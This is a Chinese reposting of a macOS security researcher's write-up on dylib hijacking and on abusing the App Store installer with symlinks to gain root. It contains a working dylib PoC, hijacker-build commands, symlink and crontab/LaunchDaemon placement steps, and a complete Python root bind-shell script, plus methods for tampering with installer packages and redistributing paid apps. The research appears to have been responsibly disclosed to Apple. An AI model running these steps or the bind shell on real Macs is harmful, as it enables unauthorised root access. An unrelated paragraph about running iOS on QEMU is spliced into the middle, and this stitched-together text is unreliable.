看我怎样应用Mac官方AppStore中的应用程序猎取root权限 | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

看我怎样应用Mac官方AppStore中的应用程序猎取root权限

申博_安全防护 申博 86次浏览 未收录 0个评论

一、媒介

在本篇文章中,“Objective by the Sea”的演讲者Csaba Fitzl撰写了一篇风趣的要领,经由历程官方Mac AppStore中的运用顺序来猎取root权限。

他的研讨最最先是在“Objective by the Sea”v2.0中提出的,演讲时展示的PPT请参考这里。

看我怎样应用Mac官方AppStore中的应用程序猎取root权限

二、背景

这篇文章重要报告了我的研讨历程,我想展示一下我是如安在疾速的研讨历程当中发明题目的,我终究在macOS中发清楚明了一个当地权限提拔破绽。除了胜利发明的破绽以外,我还想议论我在研讨历程当中碰到的一切停滞和失利,只管人们一般不会议论这一些,但我以为,当我们试图制造(或运用)某些东西时,这是一切人的一个必经之路。

三、macOS上的Dylib挟制

3.1 基础看法

在悉数研讨历程当中,我都试图在特定运用顺序中找到dylib挟制破绽,在这里我不能泄漏细致的运用顺序称号。终究,我没有在谁人特定的运用顺序中发明破绽,但在很多其他的运用顺序中发清楚明了这类破绽。

假如列位读者还不熟习macOS上的dylib挟制,可以浏览:

1. Patrick Wardle的文章:病毒的枪弹 – OSX上的Dylib挟制

2. DEF CON 23演讲:OSX上的DLL挟制

我引荐人人优先寓目演讲,因为这是一名异常精彩的演讲者,而且会以异常友爱的体式格局来诠释这个主题,可以协助人人掌握一切的细节。

我们简而言之,存在两种范例的dylib挟制:

1. dylib弱加载:在这类状况下,操纵体系将运用LC_LOAD_WEAK_DYLIB函数,假如没有找到dylib,运用顺序依然会运转,而且不会报错。因而,假如有一个运用顺序运用此要领援用dylib,而且dylib现实上不存在,那末我们可以运用这一点。

2. 运转途径依靠(rpath)dylib:在这类状况下,dylib会运用@rpath前缀援用,它将指向mach-o文件的当前运转位置,并尝试依据此搜刮途径查找dylib。假如我们不知道装置后的运用顺序会在那里完毕,那末这是一种异常好的体式格局。开辟人员可以指定多个搜刮途径,假如第一个或许第一对不存在,那末就可以将歹意dylib放在响应位置,因为加载器会依据顺序搜刮这些途径。在逻辑上,这相似于Windows中的典范DLL挟制。

3.2 寻觅易受进击的运用

这一历程比较难题,需要我们下载Patrick的“Dylib Hijack Scanner”(DHS,Dylib挟制扫描器)东西,运转扫描并守候。除此以外,另有一个敕令行版本的东西,也是由Patrick编写的。

在演示中,我将运用Tresorit运用顺序作为示例,因为他们已修复了破绽,而且他们的反应异常实时,在报告破绽后的几天内就修复了这一题目。我不会在这里说起一切的运用顺序,但人人假如看到运用顺序的清单,一定会为其数目之多而惊奇。

看我怎样应用Mac官方AppStore中的应用程序猎取root权限

从上图中可以看出,dylib挟制破绽与Tresorit的FinderExtension有关:

/Applications/Tresorit.app

/Contents/MacOS/TresoritExtension.app

/Contents/PlugIns/FinderExtension.appex

/Contents/MacOS/FinderExtension

我们可以在这里安排(歹意的)dylib UtilsMac:

rpath破绽:/Applications/Tresorit.app

/Contents/MacOS/TresoritExtension.app/Contents/PlugIns/FinderExtension.appex

/Contents/Frameworks/UtilsMac.framework/Versions/A/UtilsMac

DHS只会向我们展示第一个挟制的dylib,但现实上可以会有更多。要搜检其他位置,可以在终端中将DYLD_PRINT_RPATHS变量设置为1,即可查看到加载顺序尝试加载哪些dylib。如我们所见,有两个可以被挟制的dylib:

$ export DYLD_PRINT_RPATHS="1"
 
$ /Applications/Tresorit.app/Contents/MacOS/TresoritExtension.app
 /Contents/PlugIns/FinderExtension.appex/Contents/MacOS/FinderExtension
 
RPATH failed to expanding  @rpath/UtilsMac.framework/Versions/A/UtilsMac to:
/Applications/Tresorit.app/Contents/MacOS/TresoritExtension.app
 /Contents/PlugIns/FinderExtension.appex/Contents/MacOS
 /../Frameworks/UtilsMac.framework/Versions/A/UtilsMac
 
RPATH successful expansion of @rpath/UtilsMac.framework/Versions/A/UtilsMac to:
/Applications/Tresorit.app/Contents/MacOS/TresoritExtension.app/Contents/PlugIns
 /FinderExtension.appex/Contents/MacOS
 /../../../../Frameworks/UtilsMac.framework/Versions/A/UtilsMac
 
RPATH failed to expanding @rpath/MMWormhole.framework/Versions/A/MMWormhole to:
/Applications/Tresorit.app/Contents/MacOS/TresoritExtension.app/Contents/PlugIns
 /FinderExtension.appex/Contents/MacOS/
 ../Frameworks/MMWormhole.framework/Versions/A/MMWormhole
 
RPATH successful expansion of @rpath/MMWormhole.framework/Versions/A/MMWormhole to:
/Applications/Tresorit.app/Contents/MacOS/TresoritExtension.app/Contents/PlugIns
 /FinderExtension.appex/Contents/MacOS
 /../../../../Frameworks/MMWormhole.framework/Versions/A/MMWormhole
 
Illegal instruction: 4

别的,最好仔细搜检APP是不是运用了库考证选项(flag = 0x200)举行编译。假如以这类体式格局编译运用顺序,就意味着纵然dylib可以被挟制,操纵体系也只会加载由操纵体系署名的库,或许与运用顺序具有雷同团队ID署名的库。换而言之,对运用顺序的任何dylib挟制尝试都邑以失利了结。

大多数运用顺序都没有以这类体式格局编译,包括Tresorit在内(但他们许诺会修复这一题目):

$ codesign -dvvv /Applications/Tresorit.app/Contents/MacOS/TresoritExtension.app/Contents/PlugIns
 /FinderExtension.appex/Contents/MacOS/FinderExtension
 
Executable=FinderExtension.appex/Contents/MacOS/FinderExtension
Identifier=com.tresorit.mac.TresoritExtension.FinderExtension
Format=bundle with Mach-O thin (x86_64)
CodeDirectory v=20200 size=754 flags=0x0(none) hashes=15+5 location=embedded
 
...

3.3 破绽运用

依据上面的议论,完成破绽运用就变得异常简朴,在这里我们只做扼要申明。我编写了以下的PoC:

#include <stdio.h>
 #include <stdlib.h>
 #include <syslog.h>
 
 __attribute__((constructor))
 void customConstructor(int argc, const char **argv)
  {
      printf("Hello World!\n");
      system("/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal");
     syslog(LOG_ERR, "Dylib hijack successful in %s\n", argv[0]);
}

在加载dylib时,将会挪用组织函数。它将打印一行,建立一个syslog条目,并启动终端(Terminal)。假如该运用顺序未在沙箱中运转,我们将会取得一个功用完整的终端。对其举行编译:

gcc -dynamiclib hello.c -o hello-tresorit.dylib -Wl,-reexport_library,"/Applications/Tresorit.app/Contents/MacOS/TresoritExtension.app/Contents/PlugIns/FinderExtension.appex/Contents/MacOS/../../../../Frameworks/UtilsMac.framework/Versions/A/UtilsMac"

随后,运转Patrick的修复剧本。该剧本将会为我们修复dylib版本(dylib加载器会在加载时考证版本信息),而且将增加原始dylib的一切导出。这些导涌现实大将指向有效(原始的)dylib,因而当运用顺序加载我们精心制造的版本时,依然可以运用一切函数,而且不会发作崩溃。

python2 createHijacker.py hello-tresorit.dylib "/Applications/Tresorit.app/Contents/MacOS/TresoritExtension.app/Contents/PlugIns/FinderExtension.appex/Contents/MacOS/../../../../Frameworks/UtilsMac.framework/Versions/A/UtilsMac"
 
CREATE A HIJACKER (p. wardle)
configures an attacker supplied .dylib to be compatible with a target hijackable .dylib
 
 [+] configuring hello-tresorit.dylib to hijack UtilsMac
 [+] parsing 'UtilsMac' to extract version info
     found 'LC_ID_DYLIB' load command at offset(s): [2568]
     extracted current version: 0x10000
     extracted compatibility version: 0x10000
 [+] parsing 'hello-tresorit.dylib' to find version info
     found 'LC_ID_DYLIB' load command at offset(s): [888]
 [+] updating version info in hello-tresorit.dylib to match UtilsMac
     setting version info at offset 888
 [+] parsing 'hello-tresorit.dylib' to extract faux re-export info
     found 'LC_REEXPORT_DYLIB' load command at offset(s): [1144]
     extracted LC command size: 0x48
     extracted path offset: 0x18
     computed path size: 0x30
     extracted faux path: @rpath/UtilsMac.framework/Versions/A/UtilsMac
 [+] updating embedded re-export via exec'ing: /usr/bin/install_name_tool -change
 [+] copying configured .dylib to /Users/csaby/Downloads/DylibHijack/UtilsMac

完成后,我们只需复制文件,并启动运用顺序即可。如今,我们的歹意dylib将会自动加载到Tresorit Finder扩大运用顺序中。

3.4 其他APP

斟酌到易受进击运用顺序的数目之多,我以至没有消费时候来报告一切这些题目,只报告了少数几个。除了Tresorit以外,我报告了Avira的一个破绽,他们许诺修复,然则定的优先级较低,因为我们必需先取得运用该运用顺序的root权限。别的,我还报告了Microsoft Office 2016中的一个破绽,微软以为这不属于平安破绽,因为需要运用root权限来运用,他们发起我可以提交产物Bug。但我不认同如许的看法,因为这是一种持久性的体式格局,但就现在状况而言,我好像没办法去和他们狡辩。

3.5 特权题目

我底本的研讨已完成,但这也是逾越我底本研讨结果的最先。

在很多运用顺序中都存在此类题目,理论上我们只需要将dylib放到准确的位置,但在运用此破绽所需的权限上,可以存在两种重要的设计。

1. 运用顺序文件夹由我们的账户具有(现实上,每一个用户都是Mac上的管理员,因而我们在这里不斟酌规范用户的状况),在这类状况下,我们可以轻松地投放文件。

2. 运用顺序文件夹由root具有,因而我们需要root权限才实行进击。现实上,如许的场景并不太好,既然我们可以取得root权限,那末明显可以在其他处所建立持久性,而且运用顺序一般会在沙箱中运转,因而我们不能从这里取得太多。这确切是一个题目。

一般,拖放到/Application目次的运用顺序都属于第一类,AppStore中的一切运用顺序都属于第二类,因为后者将由以root身份运转的installd保卫顺序装置。从软件包装置的运用顺序一般也属于第二类,一般需要提拔权限。

我对厂商的复兴不太惬意,而且也不喜好开辟出唯一root权限才运用的破绽,因而我最先思索,我们是不是可以绕过根文件夹的权限?答案是一定的,不然这篇文章就到此完毕了。

四、监控东西

在继承之前,我起首引见一些对事宜监控有所协助的东西。

4.1 FireEye – Monitor.app

这是一个FireEye编写的运用顺序,相似于procmon,可以从这里下载。

看我怎样应用Mac官方AppStore中的应用程序猎取root权限

4.2 Objective-See的ProcInfo库和ProcInfoExample

这是一个用于监控macOS上历程建立和历程完毕的开源库。我运用了这个库的演示项目,名为“ProcInfoExample”。它是一个敕令行实用顺序,将会纪录每一个历程建立,包括一切相干的细致信息,比方参数、署名信息等。

它将会为我们供应比Monitor运用顺序更多的信息:

2019-03-11 21:18:05.770 procInfoExample[32903:4117446] process start:
pid: 32906
path: /System/Library/PrivateFrameworks/PackageKit.framework/Versions/A/Resources/efw_cache_update
user: 0
args: (
    "/System/Library/PrivateFrameworks/PackageKit.framework/Resources/efw_cache_update",
    "/var/folders/zz/zyxvpxvq6csfxvn_n0000000000000/C/PKInstallSandboxManager/BC005493-3176-43E4-A1F0-82D38C6431A3.activeSandbox/Root/Applications/Parcel.app"
)
ancestors: (
    9103,
    1
)
 signing info: {
    signatureAuthorities =     (
        "Software Signing",
        "Apple Code Signing Certification Authority",
        "Apple Root CA"
    );
    signatureIdentifier = "com.apple.efw_cache_update";
    signatureSigner = 1;
    signatureStatus = 0;
}
 binary:
name: efw_cache_update
path: /System/Library/PrivateFrameworks/PackageKit.framework/Versions/A/Resources/efw_cache_update
attributes: {
    NSFileCreationDate = "2018-11-30 07:31:32 +0000";
    NSFileExtensionHidden = 0;
    NSFileGroupOwnerAccountID = 0;
    NSFileGroupOwnerAccountName = wheel;
    NSFileHFSCreatorCode = 0;
    NSFileHFSTypeCode = 0;
    NSFileModificationDate = "2018-11-30 07:31:32 +0000";
    NSFileOwnerAccountID = 0;
    NSFileOwnerAccountName = root;
    NSFilePosixPermissions = 493;
    NSFileReferenceCount = 1;
    NSFileSize = 43040;
    NSFileSystemFileNumber = 4214431;
    NSFileSystemNumber = 16777220;
    NSFileType = NSFileTypeRegular;
}
signing info: (null)

4.3 内置的fs_usage实用顺序

fs_usage实用顺序可以异常细致地看管文件体系事宜,以至在我们看来有些过于细致了,假如我们想从中猎取到有效的数据,就必需要做好过滤。我们将获得相似于以下内容:

# fs_usage -f filesystem
 
getxattr /Applications/Parcel.app lsd.4123091
access    (___F)  /Applications/Parcel.app/Contents  lsd.4123091
fstatat64 [-2]/   /Applications/Parcel.app  lsd.4123091
getattrlist       /Applications/Parcel.app  lsd.4123091
getattrlist       /Applications/Parcel.app/Contents  lsd.4123091
getattrlist       /Applications/Parcel.app/Contents/MacOS  lsd.4123091
getattrlist       /Applications/Parcel.app/Contents/MacOS/Parcel  lsd.4123091
getattrlist       /Applications/Parcel.app  lsd.4123091

五、绕过App Store装置的运用顺序中的根文件夹权限

我们的目的是在AppStore装置的运用顺序中写入任何文件,默许状况下只能由root接见。

在这里的绕过,只适用于运用顺序已装置过最少一次的状况,因为当我们购置APP时,纵然它是免费的,也需要向AppStore举行身份考证,或许用户预先为免费的运用顺序设置了“保存暗码”。我们注意到,可以在“/Applications”文件夹中建立文件夹,明显我们也可以在那里拖放运用顺序。然则,假如我为即将要装置的运用顺序建立一个文件夹会怎样?下面展示了这一历程,以及绕过根文件夹权限的步骤:

1. 在删除运用顺序之前,需要纪录下文件夹的构造,我们具有读取的权限。这一历程是为了今后清晰要从新建立的内容。

2. 启动Launchpad找到该运用顺序,假如当前已装置,则将其删除。值得注意的是,只管我们作为普通用户与Launchpad举行交互,但照样会删除运用顺序,它只能对从AppStore装置的运用顺序实行此操纵。

3. 在/Applications文件夹中,运用通例ID建立文件夹构造,我们可以在没有root接见权限的状况下实行此操纵。如许一来,就可以建立我们需要的文件夹,并将我们的dylib(或任何想要的文件)放在文件夹中。

4. 返回AppStore,并在“已购置”选项卡中找到该运用顺序并举行装置。在这类状况下,我们不必举行身份考证。我们还可以运用GitHub供应的敕令行实用顺序 GitHub – mas-cli/mas Mac AppStore敕令行界面。

此时,运用顺序将会被装置,而且我们可以运用运用顺序,并在响应位置安排文件。理论上,假如没有root权限,这些文件本应是没法被安排的。

这一破绽已在Mojave 10.14.5中被修复,稍后我将细致议论。

比较而言,这就像是对Windows上的“Program Files”文件夹具有写入权限。管理员用户确切可以,但也仅当他们以高完整性运转时,这意味着我们需要从默许的中等(MEDIUM)完整性形式中绕过UAC。但在Windows中,将中等(MEDIUM)完整性的Admin提拔到高(HIGH)完整性并不需要超出平安边境,但在macOS中,将admin提拔到root则逾越了边境。

六、更进一步:在恣意位置投放AppStore文件

6.1 细致要领

在这一点上,我有别的一个主意。因为installd以root身份运转,我们可以运用它将运用顺序放在其他位置或许某个肯定的位置吗?答案是一定的。假定我想将APP的重要mach-o文件放在只要root接见权限的文件夹中,比方/opt(受SIP庇护的文件夹,比方/System将不起作用,因为纵然root用户也没有接见权限)。下面是重现的步骤,个中1-2步与之前雷同。

3. 建立以下文件夹构造:/Applications/Example.app/Contents。

4. 建立标记链接“MacOS”,指向/opt: ln -s /opt /Applications/Example.app/Contents/MacOS。

重要的mach-O文件一般位于/Applications/Example.app/Contents/MacOS文件夹下,在我们的示例中,将其指向/opt。

5. 装置运用顺序。

此时,运用顺序会一般装置,然则/Applications/Example.app/Contents/MacOS下的任何文件都将被转到/opt。

假如存在具有mach-O文件称号的文件,那末该文件将会被掩盖。基础上,我们可以将AppStore运用顺序中可以找到的任何文件投放到我们掌握的位置。

6.2 我们不能做什么?

1. 我们不能更改要投放的文件的称号,或许换而言之,我们不能将一个文件的内容放入另一个具有差别称号的文件中。假如我们为现实的mach-o文件建立一个标记链接,比方:ln -s /opt/myname /Applications/Example.app/Contents/MacOS/Example,当installd保卫历程挪动时,会掩盖标记链接文件从暂时位置到终究位置。假如我们尝试运用mv敕令,可以发明雷同的行动:

$ echo aaa > a
$ ln -s a b
$ ls -la
total 8
drwxr-xr-x   4 csaby  staff   128 Sep 11 16:16 .
drwxr-xr-x+ 50 csaby  staff  1600 Sep 11 16:16 ..
-rw-r--r--   1 csaby  staff     4 Sep 11 16:16 a
lrwxr-xr-x   1 csaby  staff     1 Sep 11 16:16 b -> a
$ cat b
aaa
$ echo bbb >> b
$ cat b
aaa
bbb
$ touch c
$ ls -l
total 8
-rw-r--r--  1 csaby  staff  8 Sep 11 16:16 a
lrwxr-xr-x  1 csaby  staff  1 Sep 11 16:16 b -> a
-rw-r--r--  1 csaby  staff  0 Sep 11 16:25 c
$ mv c b
$ ls -la
total 8
drwxr-xr-x   4 csaby  staff   128 Sep 11 16:25 .
drwxr-xr-x+ 50 csaby  staff  1600 Sep 11 16:16 ..
-rw-r--r--   1 csaby  staff     8 Sep 11 16:16 a
-rw-r--r--   1 csaby  staff     0 Sep 11 16:25 b

2. 纵然我们建立了一个硬链接,而不是标记链接,也会像第一种状况一样被掩盖。

3. 如前所述,我们没法写入遭到SIP庇护的文件夹。

6.3 运用这一点举行权限提拔的思绪

基于以上内容,我关于怎样从admin提拔到root权限,有以下思绪:

1. 在AppStore中查找与root身份运转的历程同名的文件,并替代该文件。

2. 在AppStore中找到一个文件,个中包括一个cron使命称为“root”,我们可以将其放入/usr/lib/cron/tabs。

3. 假如没有发明,我们可以建立一个完整无害的运用顺序,该顺序可以弹出一个交互式提醒,或许相似的内容,随后我们将其上传到AppStore。举例来说,我们的文件可以包括示例root crontab文件,该文件每小时启动一次终端(Terminal)。我们可以将其放在crontab文件夹中。

如何在QEMU上执行iOS并启动一个交互式bash shell,内含整个安装流程并且提供了相关工具(一)

我们本次研究的目的是让iOS系统在无需事先或在启动过程中修复内核的情况下顺利启动,使用新模块扩展QEMU执行arm64 XNU系统的功能,并获得交互式bash shell。我们会在本文中介绍如何在QEMU上执行iOS并启动一个交互式bash shell。在第二篇文章中,我们将详细介绍为实现这些目标所进行的一些研究。在本次研究中,我们选择的iOS版本和设备是iOS 12.1和iPhone 6s Plus,因为与通常删除大多数符号的其他iOS内核映像相比,这个特定的iOS 12映像在内核映像中导出了许多符号。这带来了一些更大的挑战,因为它是一个

4. 制造歹意dylib,将其作为运用顺序的一部分上传到AppStore,并投放该文件,以便以root身份运转的运用顺序会加载它。

6.4 向Apple报告

我认可,在这一历程当中,我采用了比较懒散的要领向Apple报告了上述状况,重要原因在于:

1. 我发明我不太可以找到满足#1或#2的适宜文件。Xcode险些满足#2,因为个中包括一些cron示例,但没法命名为root。

2. 我在开辟AppStore运用顺序方面险些没有经验,而且不会Objective-C或Swift编程。

3. 在工作中和下班后,另有其他事项要处置惩罚。

因而,我简朴地向Apple报告,随后收到了他们的反应:“App Review流程有助于防备歹意运用顺序在Mac和iOS运用顺序市肆中涌现”。

明显,Apple没有明白这个题目,或许是我的表达涌现了题目,但很明显我们之间存在了误会。因而,我以为我必需要证实这一看法。因而,我决议开辟一个运用顺序,并将其提交给AppStore,以此来证实。

七、建立APP

经由一番思索后,我决议建立一个可以为root供应crontab文件的运用顺序,然后将其放到/usr/lib/cron/tabs文件夹中。运用顺序必需完成一些有意义的用处才考核经由历程,因而我想到建立一个cronjob编辑器运用顺序。这一运用顺序具有现实代价,也可以诠释为何我会嵌入crontab文件。

7.1 Apple开辟者ID

要向AppStore提交任何运用顺序,我们必需起首注册开辟者设计。我注册了一个新的ID,因为我忧郁制造出可用于权限提拔的运用顺序后官方会禁用掉我的ID,但事实上并没有。开辟者ID每一年需要消费99美圆。

7.2 宣布到AppStore的流程

1. 成为Apple的开辟人员,每一年付出99美圆;

2. 登录App Store Connect,并建立一个Bundle ID;

看我怎样应用Mac官方AppStore中的应用程序猎取root权限

3. 返回并建立一个新的App,援用我们建立的Bundle ID;

看我怎样应用Mac官方AppStore中的应用程序猎取root权限

4. 填写细致信息(许可证页面、形貌等);

5. 从Xcode上传我们的运用顺序;

6. 假如需要,填写更多细致信息;

7. 提交考核。

7.3 运用顺序概况

我开辟的运用顺序名为“Crontab Creator”,该运用关于建立crontab文件异常有效。该运用顺序现在依然存在,而且延续可用,事实证实,确切有一些用户运用了它。

看我怎样应用Mac官方AppStore中的应用程序猎取root权限

该运用顺序相对是正当的,但个中包括了crontab文件的差别示例,它们都作为零丁的文件存储在运用顺序中。我之所以没有将字符串嵌入到源代码当中,就是因为要将其用于破绽运用。个中,有一个文件名为“root”,它将尝试从_Applications_Scripts文件夹实行剧本。

八、在High Sierra上完成权限提拔

8.1 权限提拔步骤

Crontab Creator运用顺序包括一个名为“root”的文件作为crontab文件的示例,以及别的9个文件。其内容以下:

* * * * * /Applications/Scripts/backup-apps.sh

明显,默许状况下该剧本并不存在,但我们可以在/Application文件夹中轻松建立这一剧本,因为我们具有写入权限,所以可以将任何内容放入个中。

权限提拔的步骤以下。起首,我们需要建立app文件夹构造,并在个中安排标记链接。

cd /Applications/
mkdir "Crontab Creator.app"
cd Crontab\ Creator.app/
mkdir Contents
cd Contents/
ln -s /usr/lib/cron/tabs/ Resources

随后,我们需要建立剧本文件,它将每分钟运转一次,我挑选让它运转终端(Terminal)。

cd /Applications/
mkdir Scripts
cd Scripts/
echo /Applications/Utilities/Terminal.app/Contents/MacOS/Terminal > backup-apps.sh
chmod +x backup-apps.sh

然后,我们需要从市肆装置运用顺序。我们可以经由历程GUI实行此操纵,或许假如已装置brew和mas,也可以经由历程CLI实行此操纵:

/usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"
brew install mas
mas install 1438725196

回忆之前剖析的破绽,我们可以将文件放入crontab文件夹,建立剧本,并在个中启动终端,随后便可以在一分钟以内取得弹出和root接见权限。

8.2 破绽修复

如前所述,Apple已在Mojave中修复了这一破绽运用处径。在2018年10月,我发明我的PoC不能再一般运用。在没有举行进一步测试的状况下,我误以为权限提拔破绽已被修复,但现实上,我们依然可以投放文件到运用顺序中。

九、在不损坏运用顺序署名的状况下感染装置顺序

接下来,我们愿望可以针对手动装置的运用顺序绕过其根文件夹权限。我们没法在这里举行真正的绕过或权限提拔,因为在装置历程当中用户必需输入其暗码,但我们依然可以相沿此前的思绪。在这里,我愿望展示别的一种要领,那就是怎样将我们的自定义文件嵌入到装置顺序包中。假如我们可以对pkg的下载历程展开中间人进击,那末就可以运用本身的装置包来替代正当文件,或许经由历程电子邮件或其他体式格局将其供应给用户。

需要申明的是,只管AppStore中的运用顺序都是经由历程HTTP下载的,但我们并不能现实改动它,因为哈希值是经由历程HTTPS通报的,同时署名也会被考证。

下面是怎样将自定义文件封装在有效包中的步骤:

1. 猎取装置顺序pkg:运用AppStoreExtract或DerFlounder从Mac的AppStore下载装置顺序包

2. 解紧缩pkg:pkgutil –expand example.pkg myfolder

3. 输入文件夹,然后解紧缩嵌入的Payload(嵌入式pkg文件夹内):tar xvf embedded.pkg/Payload

4. 将我们的文件嵌入个中(可以在恣意位置嵌入恣意文件):bash $ mkdir Example.app/Contents/test $ echo aaaa > Example.app/Contents/test/a

5. 从新紧缩运用顺序:find ./Example.app | cpio -o –format odc | gzip -c > Payload

6. 删除不需要的文件,并将Payload挪动到嵌入式pkg文件夹

7. 从新封装pkg:pkgutil –flatten myfolder/ mypackage.pkg

随后,装置包的数字署名将会丧失,因而我们需要一种绕过Gatekeeper的要领。嵌入式运用顺序的署名也会被损坏,因为.app Bundle中的每一个文件都必需举行数字署名。一般,主mach-o文件是有标记的,它具有_CodeSignatures plist文件的哈希值。该文件将包括其他文件的一切哈希值。假如在.app Bundle中安排一个新文件,该文件会使得哈希值无效。然则,这并非题目,就好像我们可以绕过Gatekeeper猎取.pkg文件一样,装置的运用顺序不会遭到Gatekeeper的束缚。

十、从新分发付费运用

我们运用与上一个示例中雷同的东西,可以猎取特定运用顺序的装置顺序。假如我们以如许的体式格局保存收费的运用顺序,纵然在用户未付费的状况下,它也可以在其他位置运用。在运用顺序中,不会默许对该运用顺序是不是已购置举行考证,个中也不包括跟踪购置状况的任何内容。因而,假如我们购置了一个运用顺序,就可以轻松地将其分发到其他位置。运用顺序内购可以不会起作用,因为它们与Apple ID相干联。

十一、在Mojave上完成权限提拔

11.1 破绽修复

在本年,我一向与其他研讨人员议论这个破绽的题目,而且这一破绽对我产生了一定的袭击。现实上,我并没有做任何进一步的搜检来确认标记链接是不是完整被损坏。事实证实,并非如此。

macOS修复这一破绽的要领是,纵然以root身份运转,installd也不再接见crontab文件夹(/usr/lib/cron/tabs),因而也没法在那里建立文件。我以至不肯定,他们是直接针对我的PoC做了修复,照样存在其他一些偶合。我们可以在/var/log/install.log中找到相干的错误信息:

shove[1057]: [source=file] failed
 
_RelinkFile(/var/folders/zz/zyxvpxvq6csfxvn_n0000000000000/C/PKInstallSandboxManager
 /401FEDFC-1D7B-4E47-A6E9-E26B83F8988F.activeSandbox/Root/Applications
 /Crontab Creator.app/Contents/Resources/peter, /private/var/at/tabs/peter):
 
Operation not permitted

11.2 存在的题目

installd历程依然可以接见其他文件夹,而且可以在重定向时期投放文件,而这些文件也可以会被滥用。经由测试,我发明可以将文件写入重定向到下述具有潜伏风险的文件夹中:

/var/root/Library/Preferences/

进击者可以会投放一个名为com.apple.loginwindow.plist的文件,该文件可以包括一个以root身份运转的LoginHook。

/Library/LaunchDaemons/

在此处投放plist文件将以root身份实行。

/Library/StartupItems/

在此处投放plist文件将以root身份实行。

别的,也可以写入到/etc中。

将文件投放到这些位置的思绪,与将文件投放到crontab文件夹的主意基础雷同。可以还会有很多文件夹遭到影响,因而我们可以制造歹意dylib文件,但我在这里没有进一步探究。

11.3 第二个PoC

掌握了上述状况,我如今就是一个“经验丰富”的macOS开辟人员了,我建立了一个名为StartUp的新PoC:

看我怎样应用Mac官方AppStore中的应用程序猎取root权限

该文件的建立现实上是与之前一样的,但在我们的示例中是LaunchDaemons。

其完成体式格局是:

cd /Applications/
mkdir “StartUp.app”
cd StartUp.app/
mkdir Contents
cd Contents/
 
ln -s /Library/LaunchDaemons/ Resources
cd /Applications/
mkdir Scripts
cd Scripts/

在这里,我们可以建立一个在启动后以root身份运转的sample.sh剧本。现实中,我将一个Bind Shell放入该剧本中,在登录后,一旦连接到它,我就取得了一个root Shell,但这照样取决于我们安排到目的的内容。

#sample.sh
python /Applications/Scripts/bind.py
 
 #bind.py
 #!/usr/bin/python2
 """
 Python Bind TCP PTY Shell - testing version
 infodox - insecurety.net (2013)
 Binds a PTY to a TCP port on the host it is ran on.
 """
 import os
 import pty
import socket
 
lport = 31337 # XXX: CHANGEME
 
def main():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind(('', lport))
    s.listen(1)
    (rem, addr) = s.accept()
    os.dup2(rem.fileno(),0)
    os.dup2(rem.fileno(),1)
    os.dup2(rem.fileno(),2)
    os.putenv("HISTFILE",'/dev/null')
    pty.spawn("/bin/bash")
    s.close()
                                                                                               
if __name__ == "__main__":
main()

11.4 向Apple再次反应

我在2019年2月再次向Apple报告了这一题目,并试图细致诠释为何我以为装置历程依然存在破绽,而且可以被滥用。

11.5 加强平安性

Apple从未认可这是一个平安破绽,也从未为其分派过CVE编号,他们以为这是一个加强的功用。终究,在Mojave 10.14.5上完成了修复,他们以至在页面上提到了我的名字:

看我怎样应用Mac官方AppStore中的应用程序猎取root权限

我做了一个疾速的测试,终究发明他们终究胜利修复了这一题目。假如我们建立运用顺序的文件夹,并在个中安排文件,终究将会悉数被删除。我们运用FireEye的Monitor.app可以证实这一点。第一个事宜申清楚明了悉数文件夹都被挪动:

看我怎样应用Mac官方AppStore中的应用程序猎取root权限

假如把这一历程用《权益的游戏》的画面展示出来,应该是如许的:

看我怎样应用Mac官方AppStore中的应用程序猎取root权限

下面的事宜申明,已将运用顺序装置到适当的位置:

看我怎样应用Mac官方AppStore中的应用程序猎取root权限

因而,我们就不能再投放文件了。

我异常喜好终究修复的体式格局,因而要在这里谢谢Apple。别的,我要谢谢Patrick Wardle,每次当我讯问他关于macOS的愚昧题目时,他老是主动协助我。

因为我已绕过了Apple的修复要领,因而故事依然在继承。一旦他们完全修复了破绽,我会实时举行更新。

原文地点: https://www.4hou.com/system/19105.html


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明看我怎样应用Mac官方AppStore中的应用程序猎取root权限
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址